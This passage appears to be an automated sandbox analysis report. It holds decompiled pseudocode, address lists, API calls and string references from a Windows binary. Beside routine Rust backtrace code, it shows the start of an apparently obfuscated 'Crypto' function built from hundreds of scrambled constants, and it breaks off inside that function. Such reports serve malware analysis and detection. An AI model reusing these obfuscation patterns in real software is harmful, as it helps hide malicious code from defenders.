0x6edbd6f3
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbd69d
0x6edbd6a3
0x6edbd6a5
0x6edbd715
0x6edbd715
0x6edbd717
0x6edbd6a7
0x6edbd6ab
0x6edbd6ae
0x6edbd6ae
0x6edbd71a
0x6edbd71d
0x6edbd71f
0x6edbd722
0x6edbd745
0x6edbd747
0x6edbd74a
0x6edbd750
0x00000000
0x6edbd752
0x00000000
0x6edbd752
0x6edbd724
0x6edbd724
0x6edbd72d
0x6edbd72f
0x6edbd75a
0x6edbd75a
0x6edbd75c
0x6edbd731
0x6edbd737
0x6edbd73a
0x6edbd73a
0x6edbd76f
0x6edbd771
0x6edbd774
0x6edbd77a
0x6edbd6f9
0x6edbd6f9
0x6edbd6fc
0x6edbd6fe
0x6edbd704
0x00000000
0x6edbd70a
0x00000000
0x6edbd70a
0x6edbd780
0x6edbd780
0x6edbd780
0x6edbd786
0x6edbd7a0
0x6edbd7a3
0x6edbd7a6
0x6edbd7a8
0x6edbd7ab
0x6edbd7b1
0x00000000
0x6edbd7b7
0x00000000
0x6edbd7b7
0x6edbd7b1
0x6edbd77a
0x6edbd722
0x6edbd69b
0x6edbd62b
0x6edbd62b
0x6edbd62d
0x6edbd630
0x6edbd632
0x6edbd638
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbd638
0x00000000
0x6edbd629
0x6edbd7bc
0x6edbd7c2
0x6edbd7ca
0x6edbd7cd
0x6edbd7d2
0x6edbd7d5
0x6edbd7d7
0x6edbd7da
0x6edbd7dc
0x6edbd824
0x6edbd824
0x6edbd826
0x6edbd830
0x6edbd830
0x6edbd832
0x00000000
0x00000000
0x6edbd838
0x6edbd83b
0x6edbd83f
0x6edbd842
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbd842
0x6edbd8d0
0x6edbd8d3
0x6edbd8d5
0x6edbd8e1
0x6edbd8e6
0x6edbd8e9
0x6edbd8ec
0x6edbd8ec
0x6edbd8ef
0x6edbd8f5
0x6edbd8fa
0x6edbd8ff
0x6edbd902
0x6edbd904
0x6edbd907
0x00000000
0x6edbd90d
0x6edbd910
0x6edbd921
0x6edbd926
0x6edbd929
0x6edbd92e
0x6edbd933
0x6edbd935
0x6edbd938
0x6edbd93f
0x6edbd942
0x6edbd949
0x6edbd94f
0x6edbd972
0x6edbd977
0x6edbd97b
0x6edbd97d
0x6edbd97f
0x6edbd982
0x6edbd98f
0x6edbd994
0x6edbd99a
0x6edbd99d
0x6edbd99d
0x6edbd9a0
0x6edbd9a3
0x6edbd9a5
0x6edbd9a8
0x6edbd951
0x6edbd9b0
0x6edbd9b0
0x6edbd9b6
0x6edbd9b6
0x6edbd9bd
0x6edbd9bd
0x6edbd9c2
0x6edbd9cd
0x6edbd9d3
0x6edbd9d5
0x6edbd9d7
0x6edbd9e3
0x6edbd9e3
0x6edbd9e5
0x6edbd960
0x6edbd960
0x6edbd962
0x6edbd964
0x6edbda26
0x6edbda29
0x6edbda30
0x6edbda32
0x00000000
0x6edbda38
0x6edbda3e
0x6edbda3f
0x6edbda44
0x6edbda47
0x6edbda4a
0x6edbda4d
0x6edbda50
0x6edbda52
0x6edbda55
0x6edbda57
0x00000000
0x00000000
0x6edbda59
0x00000000
0x6edbda57
0x6edbd96a
0x6edbd96a
0x6edbd970
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbd970
0x6edbd9eb
0x6edbd9eb
0x6edbd9f1
0x6edbd9f4
0x00000000
0x6edbd9fa
0x6edbd9fa
0x6edbd9fc
0x6edbda02
0x00000000
0x6edbda04
0x00000000
0x6edbda04
0x00000000
0x6edbda02
0x6edbd9f4
0x6edbd9d9
0x6edbd9d9
0x6edbd9df
0x6edbd9e1
0x6edbda5b
0x6edbda5d
0x6edbda63
0x6edbda65
0x6edbda67
0x6edbda6a
0x6edbda6c
0x6edbda6e
0x6edbda6e
0x6edbda72
0x6edbda74
0x6edbda79
0x6edbda86
0x6edbda89
0x6edbda8e
0x6edbda8e
0x6edbda79
0x6edbda72
0x6edbda91
0x6edbda91
0x6edbda93
0x6edbdaed
0x6edbdaf0
0x6edbdaf2
0x6edbdaf5
0x6edbda95
0x6edbda98
0x6edbda9b
0x6edbdaa1
0x6edbdaa8
0x6edbdab0
0x6edbdab3
0x6edbdab5
0x6edbdab8
0x6edbdabb
0x6edbdabe
0x6edbdac2
0x6edbdac4
0x6edbdac6
0x6edbdaca
0x6edbdacc
0x6edbdacc
0x6edbdad8
0x6edbdad8
0x6edbdae6
0x6edbdae6
0x6edbdaa1
0x6edbdaf8
0x6edbdaff
0x6edbdb10
0x6edbdb10
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbd9e1
0x6edbd9d7
0x6edbd7de
0x6edbd7de
0x6edbd7e0
0x6edbd7e2
0x6edbd7e2
0x6edbd7e6
0x00000000
0x00000000
0x6edbd7e8
0x6edbd7ed
0x00000000
0x6edbd7ef
0x6edbd7ef
0x6edbd7f4
0x00000000
0x6edbd7f6
0x6edbd7f6
0x6edbd7fb
0x00000000
0x6edbd7fd
0x6edbd7fd
0x6edbd802
0x00000000
0x6edbd804
0x6edbd804
0x6edbd809
0x00000000
0x6edbd80b
0x6edbd80b
0x6edbd810
0x00000000
0x6edbd812
0x6edbd812
0x6edbd817
0x00000000
0x6edbd819
0x6edbd819
0x6edbd81c
0x6edbd81f
0x6edbd822
0x00000000
0x00000000
0x00000000
0x00000000
0x6edbd822
0x6edbd817
0x6edbd810
0x6edbd809
0x6edbd802
0x6edbd7fb
0x6edbd7f4
0x00000000
0x6edbd7ed
0x6edbd844
0x6edbd844
0x6edbd847
0x6edbd84e
0x6edbd855
0x6edbd857
0x6edbd859
0x6edbd85b
0x6edbd85d
0x6edbd863
0x6edbd86e
0x6edbd86e
0x6edbd863
0x6edbd85b
0x6edbd873
0x6edbd877
0x6edbd87d
0x6edbd882
0x6edbd885
0x6edbd888
0x6edbd890
0x6edbd892
0x6edbd895
0x6edbd898
0x6edbd89b
0x6edbd89f
0x6edbd8a1
0x6edbd8a3
0x6edbd8a7
0x6edbd8a9
0x6edbd8a9
0x6edbd8b5
0x6edbd8ba
0x6edbd8ba
0x6edbd8c6
0x6edbd8c6
0x6edbda09
0x6edbda0c
0x6edbda12
0x6edbda12
0x6edbda15
0x6edbda25
0x6edbda25
0x00000000
0x6edbd7dc
0x6edbd5ed
0x6edbd56c
0x6edbd56c
0x6edbd573
0x6edbdb1a
0x6edbdb1f
0x6edbdb24
0x6edbdb29
0x6edbdb2b
0x6edbdb32
0x6edbdb3a
0x6edbdb44
0x6edbdb4f
0x6edbdb5f
0x6edbd579
0x6edbd579
0x00000000
0x6edbd579
0x6edbd573
0x00000000

APIs

GetProcessHeap.KERNEL32 ref: 6EDBD56C
HeapAlloc.KERNEL32(01360000,00000000,0000000A), ref: 6EDBD583

Strings

RUST_BACKTRACE, xrefs: 6EDBD63A, 6EDBD670

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcess
String ID: RUST_BACKTRACE
API String ID: 1617791916-3454309823
Opcode ID: 8040baac766068ec179f9ef9f0b8c370e83e148ab988dac841d011ffec94f1c0
Instruction ID: 2dde12a015ee0e91676fdad34e65112c99a14c950da12795b3b6203bd2a81b6b
Opcode Fuzzy Hash: 8040baac766068ec179f9ef9f0b8c370e83e148ab988dac841d011ffec94f1c0
Instruction Fuzzy Hash: 1B028BB1E00219CBEF14CFD8C890BDDBBB6AF49314F144169D81AB7280E775A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBE690, Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 135
libraryloadersynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6EDBE690(void* __ebx, void* __edi, void* __esi, char _a8) {
				int _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebp;
				void* _t15;
				struct HINSTANCE__* _t20;
				signed int _t21;
				void* _t23;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t30;
				void* _t35;
				_Unknown_base(*)()* _t38;
				_Unknown_base(*)()* _t39;
				signed int _t50;
				_Unknown_base(*)()* _t52;
				void* _t59;

				_t48 = __edi;
				_push(__edi);
				_v32 = _t59 - 0x14;
				_v20 = 0xffffffff;
				_v24 = E6EDC3BA0;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t35 =  *0x6ee0adc4; // 0x0
				if(_t35 == 0) {
					_t15 = CreateMutexA(0, 0, "Local\\RustBacktraceMutex");
					__eflags = _t15;
					if(_t15 == 0) {
						_t54 = 1;
						goto L19;
					} else {
						_t35 = _t15;
						__eflags = 0;
						asm("lock cmpxchg [0x6ee0adc4], ebx");
						if(0 != 0) {
							CloseHandle(_t35);
							_t35 = 0;
						}
						goto L1;
					}
				} else {
					L1:
					WaitForSingleObjectEx(_t35, 0xffffffff, 0);
					_t20 =  *0x6ee0add0; // 0x0
					if(_t20 != 0) {
						L3:
						_t54 = 0;
						if( *0x6ee0ae04 != 0) {
							goto L19;
						} else {
							_t38 =  *0x6ee0add4; // 0x0
							if(_t38 != 0) {
								L7:
								_t21 =  *_t38();
								_t39 =  *0x6ee0add8; // 0x0
								_t50 = _t21;
								if(_t39 != 0) {
									L10:
									 *_t39(_t50 | 0x00000004);
									_t52 =  *0x6ee0addc; // 0x0
									if(_t52 != 0) {
										L13:
										_t23 = GetCurrentProcess();
										 *_t52(_t23, 0, 1);
										 *0x6ee0ae04 = 1;
										goto L19;
									} else {
										_t25 = GetProcAddress( *0x6ee0add0, "SymInitializeW");
										if(_t25 == 0) {
											_v36 = _t35;
											_v20 = 0;
											E6EDD6E20(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t52, _t54, __eflags, 0x6edfdcac);
											goto L23;
										} else {
											_t52 = _t25;
											 *0x6ee0addc = _t25;
											goto L13;
										}
									}
								} else {
									_t28 = GetProcAddress( *0x6ee0add0, "SymSetOptions");
									if(_t28 == 0) {
										_v36 = _t35;
										_v20 = 0;
										E6EDD6E20(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t50, _t54, __eflags, 0x6edfdc9c);
										goto L23;
									} else {
										_t39 = _t28;
										 *0x6ee0add8 = _t28;
										goto L10;
									}
								}
							} else {
								_t30 = GetProcAddress(_t20, "SymGetOptions");
								if(_t30 == 0) {
									_v36 = _t35;
									_v20 = 0;
									E6EDD6E20(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t48, 0, __eflags, 0x6edfdc8c);
									L23:
									asm("ud2");
									__eflags =  &_a8;
									return E6EDBE880(_v36);
								} else {
									_t38 = _t30;
									 *0x6ee0add4 = _t30;
									goto L7;
								}
							}
						}
					} else {
						_t20 = LoadLibraryA("dbghelp.dll");
						 *0x6ee0add0 = _t20;
						if(_t20 == 0) {
							ReleaseMutex(_t35);
							_t54 = 1;
							L19:
							 *[fs:0x0] = _v28;
							return _t54;
						} else {
							goto L3;
						}
					}
				}
			}

0x6edbe690
0x6edbe694
0x6edbe699
0x6edbe69c
0x6edbe6a3
0x6edbe6b4
0x6edbe6b7
0x6edbe6bd
0x6edbe6c5
0x6edbe7a5
0x6edbe7aa
0x6edbe7ac
0x6edbe7d0
0x00000000
0x6edbe7ae
0x6edbe7ae
0x6edbe7b0
0x6edbe7b2
0x6edbe7ba
0x6edbe7c3
0x6edbe7c9
0x6edbe7c9
0x00000000
0x6edbe7ba
0x6edbe6cb
0x6edbe6cb
0x6edbe6d0
0x6edbe6d5
0x6edbe6dc
0x6edbe6f5
0x6edbe6f5
0x6edbe6fe
0x00000000
0x6edbe704
0x6edbe704
0x6edbe70c
0x6edbe729
0x6edbe729
0x6edbe72b
0x6edbe731
0x6edbe735
0x6edbe757
0x6edbe75b
0x6edbe75d
0x6edbe765
0x6edbe787
0x6edbe787
0x6edbe791
0x6edbe793
0x00000000
0x6edbe767
0x6edbe772
0x6edbe77a
0x6edbe83d
0x6edbe840
0x6edbe856
0x00000000
0x6edbe780
0x6edbe780
0x6edbe782
0x00000000
0x6edbe782
0x6edbe77a
0x6edbe737
0x6edbe742
0x6edbe74a
0x6edbe81a
0x6edbe81d
0x6edbe833
0x00000000
0x6edbe750
0x6edbe750
0x6edbe752
0x00000000
0x6edbe752
0x6edbe74a
0x6edbe70e
0x6edbe714
0x6edbe71c
0x6edbe7f7
0x6edbe7fa
0x6edbe810
0x6edbe85e
0x6edbe85e
0x6edbe864
0x6edbe873
0x6edbe722
0x6edbe722
0x6edbe724
0x00000000
0x6edbe724
0x6edbe71c
0x6edbe70c
0x6edbe6de
0x6edbe6e3
0x6edbe6ea
0x6edbe6ef
0x6edbe7d8
0x6edbe7dd
0x6edbe7e2
0x6edbe7e7
0x6edbe7f6
0x00000000
0x00000000
0x00000000
0x6edbe6ef
0x6edbe6dc

APIs

WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EDBE6D0
LoadLibraryA.KERNEL32(dbghelp.dll,00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EDBE6E3
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6EDBE714
GetProcAddress.KERNEL32(SymSetOptions), ref: 6EDBE742
GetProcAddress.KERNEL32(SymInitializeW), ref: 6EDBE772
GetCurrentProcess.KERNEL32 ref: 6EDBE787
CreateMutexA.KERNEL32(00000000,00000000,Local\RustBacktraceMutex), ref: 6EDBE7A5
CloseHandle.KERNEL32(00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EDBE7C3

Part of subcall function 6EDBE880: ReleaseMutex.KERNEL32(?,6EDBE5F8), ref: 6EDBE881

Strings

SymSetOptions, xrefs: 6EDBE737
Local\RustBacktraceMutex, xrefs: 6EDBE79C
dbghelp.dll, xrefs: 6EDBE6DE
SymInitializeW, xrefs: 6EDBE767
called `Option::unwrap()` on a `None` value, xrefs: 6EDBE801, 6EDBE824, 6EDBE847
SymGetOptions, xrefs: 6EDBE70E

Memory Dump Source

Source File: 00000000.00000002.597047255.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000000.00000002.597037041.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597074849.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.597107558.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.597136132.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.597156544.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$Mutex$CloseCreateCurrentHandleLibraryLoadObjectProcessReleaseSingleWait
String ID: Local\RustBacktraceMutex$SymGetOptions$SymInitializeW$SymSetOptions$called `Option::unwrap()` on a `None` value$dbghelp.dll
API String ID: 1067696788-3213342004
Opcode ID: 151a7816158eb4b1f7196b842da05dd58f1e03606632e60b57208424d5919ffd
Instruction ID: c3022b420f8962f66f8651dc517ba4b452fa16cac15c09a674232d8aa35933b9
Opcode Fuzzy Hash: 151a7816158eb4b1f7196b842da05dd58f1e03606632e60b57208424d5919ffd
Instruction Fuzzy Hash: 914115B1E40649DBEF00DFE5CC54B5E76ADAB49319F00447CE91AEB380EB35C8058BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FBEDED, Relevance: 25.7, Strings: 20, Instructions: 740
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00FBEDED(intOrPtr __ecx) {
				char _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				char* _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				char _v68;
				intOrPtr _v72;
				char _v76;
				char _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				unsigned int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				signed int _v416;
				signed int _v420;
				signed int _v424;
				signed int _v428;
				signed int _v432;
				void* _t878;
				intOrPtr _t886;
				void* _t887;
				signed int _t889;
				void* _t899;
				void* _t904;
				void* _t912;
				void* _t916;
				void* _t917;
				void* _t925;
				signed int _t930;
				signed int _t931;
				signed int _t932;
				signed int _t933;
				signed int _t934;
				signed int _t935;
				signed int _t936;
				signed int _t937;
				signed int _t938;
				signed int _t939;
				signed int _t940;
				signed int _t941;
				signed int _t942;
				signed int _t943;
				signed int _t944;
				signed int _t945;
				signed int _t946;
				signed int _t947;
				void* _t948;
				intOrPtr _t949;
				char _t960;
				void* _t967;
				void* _t974;
				void* _t1020;
				void* _t1041;
				signed int _t1044;
				intOrPtr _t1045;
				void* _t1049;
				signed int* _t1051;
				signed int* _t1054;
				void* _t1056;

				_t1051 =  &_v432;
				_v284 = 0x691c9d;
				_v284 = _v284 * 0x5e;
				_t1049 = 0;
				_v284 = _v284 | 0xffb50446;
				_t925 = 0x7579ad8;
				_v284 = _v284 ^ 0xb2ffc1ad;
				_v120 = 0x60d75f;
				_v120 = _v120 << 8;
				_v120 = _v120 ^ 0x60d75f01;
				_v220 = 0xc69f70;
				_v220 = _v220 + 0xf28e;
				_v72 = __ecx;
				_t930 = 0xb;
				_v220 = _v220 / _t930;
				_v220 = _v220 ^ 0x0012248b;
				_v156 = 0x64e6c0;
				_v156 = _v156 + 0x49b8;
				_v156 = _v156 ^ 0x00653078;
				_v232 = 0x498fe5;
				_v232 = _v232 ^ 0x88a6dd1c;
				_v232 = _v232 + 0xfffff4d2;
				_v232 = _v232 ^ 0x88ef47cb;
				_v424 = 0xf724cb;
				_v424 = _v424 << 5;
				_v424 = _v424 >> 0xe;
				_t931 = 0x30;
				_v424 = _v424 * 0x7f;
				_v424 = _v424 ^ 0x003d4d6e;
				_v180 = 0x462264;
				_v180 = _v180 ^ 0x6fcea306;
				_v180 = _v180 ^ 0x6f888162;
				_v340 = 0x2e6d4e;
				_v340 = _v340 + 0x41e3;
				_v340 = _v340 + 0x5d4e;
				_v340 = _v340 ^ 0x6cf19d7b;
				_v340 = _v340 ^ 0x6cde9104;
				_v84 = 0xc70918;
				_v84 = _v84 * 0x44;
				_v84 = _v84 ^ 0x34de6a60;
				_v236 = 0x3b3b1b;
				_v236 = _v236 >> 0xe;
				_v236 = _v236 | 0x4836df35;
				_v236 = _v236 ^ 0x4836dffd;
				_v396 = 0xd569f3;
				_v396 = _v396 / _t931;
				_v396 = _v396 * 0x5b;
				_v396 = _v396 | 0x85f0bc17;
				_v396 = _v396 ^ 0x85f4bcd7;
				_v296 = 0x1e21a2;
				_v296 = _v296 * 0x31;
				_v296 = _v296 + 0x8ec0;
				_v296 = _v296 ^ 0x37f0404c;
				_v296 = _v296 ^ 0x3234be8e;
				_v176 = 0xdad679;
				_v176 = _v176 >> 0xe;
				_v176 = _v176 ^ 0x0000034b;
				_v368 = 0x735672;
				_v368 = _v368 | 0x3953310b;
				_v368 = _v368 << 5;
				_v368 = _v368 + 0x74f2;
				_v368 = _v368 ^ 0x2e63acc9;
				_v376 = 0xd1bddc;
				_v376 = _v376 + 0xce36;
				_v376 = _v376 | 0xb461c001;
				_v376 = _v376 >> 9;
				_v376 = _v376 ^ 0x0052086c;
				_v384 = 0xd19a5e;
				_t932 = 0x65;
				_v384 = _v384 / _t932;
				_v384 = _v384 | 0x726ef163;
				_v384 = _v384 + 0x9b53;
				_v384 = _v384 ^ 0x726dc7da;
				_v344 = 0xb29a03;
				_v344 = _v344 | 0x13511d04;
				_v344 = _v344 ^ 0x49acd7d1;
				_v344 = _v344 ^ 0xce5df15e;
				_v344 = _v344 ^ 0x9404b0e6;
				_v352 = 0x13b316;
				_v352 = _v352 | 0x6a2836e7;
				_v352 = _v352 + 0xffff0e65;
				_t933 = 0x3b;
				_v352 = _v352 / _t933;
				_v352 = _v352 ^ 0x01cb148f;
				_v360 = 0xcdb7f9;
				_t934 = 0x12;
				_v360 = _v360 / _t934;
				_v360 = _v360 + 0xd58f;
				_v360 = _v360 + 0xffff34a6;
				_v360 = _v360 ^ 0x000d394e;
				_v240 = 0x194d0a;
				_v240 = _v240 >> 5;
				_v240 = _v240 + 0xb037;
				_v240 = _v240 ^ 0x000181f4;
				_v336 = 0x90831a;
				_v336 = _v336 << 0xe;
				_v336 = _v336 | 0x73ebb7fd;
				_t1044 = 0x70;
				_v336 = _v336 * 0x28;
				_v336 = _v336 ^ 0x1d702c5c;
				_v164 = 0xd3cfdc;
				_v164 = _v164 + 0xf919;
				_v164 = _v164 ^ 0x00dcbb26;
				_v140 = 0xc70031;
				_v140 = _v140 / _t1044;
				_v140 = _v140 ^ 0x0002a430;
				_v224 = 0x4edd87;
				_v224 = _v224 << 9;
				_v224 = _v224 | 0xd4b44389;
				_v224 = _v224 ^ 0xddb78ea5;
				_v148 = 0x17582b;
				_v148 = _v148 << 3;
				_v148 = _v148 ^ 0x00bedc16;
				_v328 = 0xa02eea;
				_v328 = _v328 * 0x12;
				_v328 = _v328 + 0xffff4f3f;
				_v328 = _v328 * 0x72;
				_v328 = _v328 ^ 0x03a87b0f;
				_v312 = 0x65f311;
				_v312 = _v312 + 0xffffeb5b;
				_v312 = _v312 ^ 0x17ca191f;
				_v312 = _v312 << 1;
				_v312 = _v312 ^ 0x2f5e2391;
				_v216 = 0xcaaed7;
				_v216 = _v216 | 0xdfbffed2;
				_v216 = _v216 ^ 0xdff04099;
				_v320 = 0xe429a2;
				_v320 = _v320 << 7;
				_v320 = _v320 ^ 0x64d927e8;
				_v320 = _v320 >> 1;
				_v320 = _v320 ^ 0x0b6be30d;
				_v132 = 0xb8ca75;
				_v132 = _v132 | 0x13aee0cc;
				_v132 = _v132 ^ 0x13b0dc0a;
				_v364 = 0x6e0227;
				_v364 = _v364 | 0x4b6775d3;
				_v364 = _v364 + 0xffffa7b6;
				_v364 = _v364 | 0x5adace0b;
				_v364 = _v364 ^ 0x5bf85b33;
				_v332 = 0x1ea957;
				_v332 = _v332 ^ 0x7bdcea1f;
				_v332 = _v332 + 0xffff931b;
				_v332 = _v332 + 0xfe21;
				_v332 = _v332 ^ 0x7bce67a5;
				_v196 = 0x2eb620;
				_v196 = _v196 ^ 0x1a084885;
				_t935 = 0x1b;
				_v196 = _v196 / _t935;
				_v196 = _v196 ^ 0x00f7257a;
				_v432 = 0x3a3e0a;
				_v432 = _v432 ^ 0xc1716f80;
				_v432 = _v432 | 0x98ff88e4;
				_v432 = _v432 << 6;
				_v432 = _v432 ^ 0x7ff8035f;
				_v252 = 0xae10e8;
				_v252 = _v252 + 0xffff291c;
				_v252 = _v252 << 0xc;
				_v252 = _v252 ^ 0xd3ad17fd;
				_v136 = 0xd14910;
				_v136 = _v136 >> 0xd;
				_v136 = _v136 ^ 0x000de50a;
				_v88 = 0xff11ba;
				_v88 = _v88 >> 0xe;
				_v88 = _v88 ^ 0x000cd76b;
				_v128 = 0xa92711;
				_v128 = _v128 ^ 0x556d13f3;
				_v128 = _v128 ^ 0x55c869df;
				_v96 = 0xd5b7ad;
				_v96 = _v96 | 0xc1cec025;
				_v96 = _v96 ^ 0xc1d1ee17;
				_v280 = 0x43f750;
				_v280 = _v280 + 0x2f6f;
				_v280 = _v280 | 0x22c29e26;
				_v280 = _v280 ^ 0x22c71f58;
				_v416 = 0x708958;
				_v416 = _v416 << 4;
				_t936 = 0x53;
				_v416 = _v416 * 0x55;
				_v416 = _v416 + 0x11ea;
				_v416 = _v416 ^ 0x55d2e849;
				_v288 = 0x2ccf8a;
				_v288 = _v288 ^ 0x2706f9e9;
				_v288 = _v288 >> 8;
				_v288 = _v288 ^ 0x002901bb;
				_v204 = 0x817792;
				_v204 = _v204 ^ 0xc81ce5e5;
				_v204 = _v204 >> 9;
				_v204 = _v204 ^ 0x00683104;
				_v292 = 0x369e72;
				_v292 = _v292 + 0xffff59c5;
				_v292 = _v292 + 0x9529;
				_v292 = _v292 ^ 0x0039ecd6;
				_v184 = 0x4cc20f;
				_v184 = _v184 >> 4;
				_v184 = _v184 ^ 0x000bd2f2;
				_v400 = 0x96d482;
				_v400 = _v400 / _t936;
				_v400 = _v400 ^ 0xfb214b85;
				_v400 = _v400 + 0xffff7dca;
				_v400 = _v400 ^ 0xfb2aaa3a;
				_v408 = 0xe3681d;
				_v408 = _v408 >> 2;
				_v408 = _v408 ^ 0x060a0f11;
				_v408 = _v408 + 0x10b8;
				_v408 = _v408 ^ 0x0636c909;
				_v272 = 0x590664;
				_v272 = _v272 >> 4;
				_v272 = _v272 + 0x26f3;
				_v272 = _v272 ^ 0x0003d4a2;
				_v172 = 0xf18346;
				_v172 = _v172 ^ 0x71ddc0cf;
				_v172 = _v172 ^ 0x7121affc;
				_v248 = 0xe1c8c4;
				_v248 = _v248 | 0xf2ad841b;
				_v248 = _v248 + 0xffff447a;
				_v248 = _v248 ^ 0xf2e9460c;
				_v256 = 0x519e10;
				_v256 = _v256 | 0xdc8a6104;
				_v256 = _v256 + 0x5077;
				_v256 = _v256 ^ 0xdcd61490;
				_v392 = 0x4daef6;
				_v392 = _v392 + 0x5b70;
				_v392 = _v392 | 0x7bfd6fbf;
				_v392 = _v392 ^ 0x7bfd4f8a;
				_v264 = 0xa63eff;
				_v264 = _v264 >> 8;
				_v264 = _v264 + 0xffffadc4;
				_v264 = _v264 ^ 0x000453cd;
				_v160 = 0x17d409;
				_v160 = _v160 ^ 0x9fb8b55e;
				_v160 = _v160 ^ 0x9fa0b21c;
				_v212 = 0x6a1a8d;
				_v212 = _v212 >> 3;
				_v212 = _v212 << 0xa;
				_v212 = _v212 ^ 0x35094e45;
				_v112 = 0xa556a;
				_v112 = _v112 >> 5;
				_v112 = _v112 ^ 0x000cc68a;
				_v144 = 0xab50d0;
				_v144 = _v144 ^ 0xa6f75ca8;
				_v144 = _v144 ^ 0xa6598527;
				_v104 = 0xd81749;
				_v104 = _v104 + 0xffff8ca8;
				_v104 = _v104 ^ 0x00db48a0;
				_v268 = 0x33dbc3;
				_t937 = 0x76;
				_v268 = _v268 / _t937;
				_v268 = _v268 + 0xffff5dd8;
				_v268 = _v268 ^ 0xfff17317;
				_v152 = 0x42cbe3;
				_v152 = _v152 ^ 0xa4a52bdf;
				_v152 = _v152 ^ 0xa4e6915d;
				_v380 = 0x65d97d;
				_t938 = 0x21;
				_v380 = _v380 / _t938;
				_t939 = 0x5c;
				_v380 = _v380 / _t939;
				_v380 = _v380 >> 0x10;
				_v380 = _v380 ^ 0x0007411d;
				_v92 = 0xa9d4cf;
				_v92 = _v92 >> 2;
				_v92 = _v92 ^ 0x00290723;
				_v372 = 0xfeac8f;
				_v372 = _v372 + 0xffff000e;
				_v372 = _v372 | 0x784e09d1;
				_v372 = _v372 + 0x9e81;
				_v372 = _v372 ^ 0x790729d3;
				_v260 = 0xdb5b23;
				_v260 = _v260 ^ 0x99ef16de;
				_v260 = _v260 << 0xf;
				_v260 = _v260 ^ 0x26f8d6b6;
				_v316 = 0x9225c5;
				_t940 = 0x1d;
				_v316 = _v316 / _t940;
				_v316 = _v316 << 5;
				_v316 = _v316 << 6;
				_v316 = _v316 ^ 0x285c3ab4;
				_v228 = 0x4a87a9;
				_v228 = _v228 + 0x4174;
				_t941 = 0x15;
				_v228 = _v228 / _t941;
				_v228 = _v228 ^ 0x000ad4c3;
				_v200 = 0xe017a4;
				_v200 = _v200 | 0xfffd7bff;
				_v200 = _v200 ^ 0xfffcfad2;
				_v208 = 0x2755d6;
				_v208 = _v208 + 0xfffffacf;
				_v208 = _v208 | 0x40526ffd;
				_v208 = _v208 ^ 0x407e6bc8;
				_v116 = 0x3ae65f;
				_v116 = _v116 >> 6;
				_v116 = _v116 ^ 0x00032ad5;
				_v124 = 0x5f3d3a;
				_t942 = 0x6b;
				_v124 = _v124 / _t942;
				_v124 = _v124 ^ 0x000bf430;
				_v100 = 0xf35212;
				_v100 = _v100 >> 6;
				_v100 = _v100 ^ 0x0009c0a2;
